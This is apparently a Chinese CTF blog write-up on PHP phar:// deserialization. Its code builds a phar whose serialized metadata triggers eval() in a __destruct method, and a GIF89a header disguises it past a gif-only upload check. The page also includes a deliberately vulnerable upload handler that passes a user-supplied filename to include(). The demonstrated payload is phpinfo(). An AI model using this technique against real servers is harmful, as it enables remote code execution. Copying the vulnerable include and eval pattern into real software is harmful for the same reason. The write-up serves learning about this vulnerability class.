一個phar://的漏洞

前段時間打了個護網杯,題目質量是真的高,肉雞又菜了一整場,遇到了一個不太會的東西,復現了一波,記錄下好吧。
這個鬼東西就是phar://的序列化的漏洞

介紹一下

phar://跟php://filter 、data://那些一樣,都是流包裝,可以將一組php文件進行打包,可以創建默認執行的stub

stub

就是一個標誌,格式xxx<?php xxxxx; __HALT_COMPILER();?>,結尾一定是__HALT_COMPILER();?>,不然phar識別不了phar文件

舉個栗子

先看一下phar怎麼用

class TestObject{
}

$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$o = new TestObject();
$o -> data = 'h4ck3r';
$phar -> setMetadata($o);
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();

執行以後同級目錄下會有一個phar.phar文件,丟去二進制編輯器

嗯,沒毛病,確實看到了序列化後的對象

對應的,就會有反序列化的操作,php一大部分文件系統函數在通過phar://僞協議解析的時候,都會將meta-data進行反序列化,影響函數如下

將我們上面生成的phar.phar反序列化一下

class TestObject{
    function __destruct()
    {
        echo $this->data;
    }
}

include ('phar://phar.phar');

嗯,瀏覽器也確實輸出出來了

再來個栗子

用phar僞裝一下其他文件,因爲php識別phar文件是通過stub來的,那樣的話我們只需要在__HALT_COMPILER();?>前面加多一個其他文件的頭,就可以僞裝了

來個大的示範好吧

前端的上傳頁面

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ea3y_upload_file</title>
</head>
<body>
    <form action="http://localhost/ctf/phar/upload.php" method="post" enctype="multipart/form-data">
        <input type="file" name="file" />
        <input type="submit" name="upload" />
    </form>
</body>
</html>

後臺的檢測頁面,先限制好只能傳gif

if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"]."<br>";
    echo "Type: " . $_FILES["file"]["type"]."<br>";
    echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br>";

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
    {
        echo $_FILES["file"]["name"] . " already exists. ";
    }
    else
    {
        move_uploaded_file($_FILES["file"]["tmp_name"],
            "upload_file/" .$_FILES["file"]["name"]);
        echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
    }
}
else
{
    echo "Invalid file,you can only upload gif";
}

後臺解析文件的php

$filename=$_GET['filename'];
class AnyClass{
    function __destruct()
    {
        eval($this ->data);
    }
}
include ($filename);

emmm,可以看到,類裏面有個魔幻函數,同時還有一句eval,甚至還能給你一句include,沒錯,就是它了

自己打一個生成phar的文件

class AnyClass{
    function __destruct()
    {
        eval($this -> data);
    }
}
$phar = new Phar('phar2.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

可以看到,stub前面已經加了gif頭,類裏面的參數是phpinfo,如果最後能利用的話就會輸出php的信息

執行一下可以看到生成phar2.phar文件,改下後綴成gif文件,然後上傳,最後訪問

嗯,確實是可以看到php的信息,phar協議真的強無敵啊,輕輕鬆鬆就繞過了服務器的檢測好吧,牛逼牛逼

參考:https://paper.seebug.org/680/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章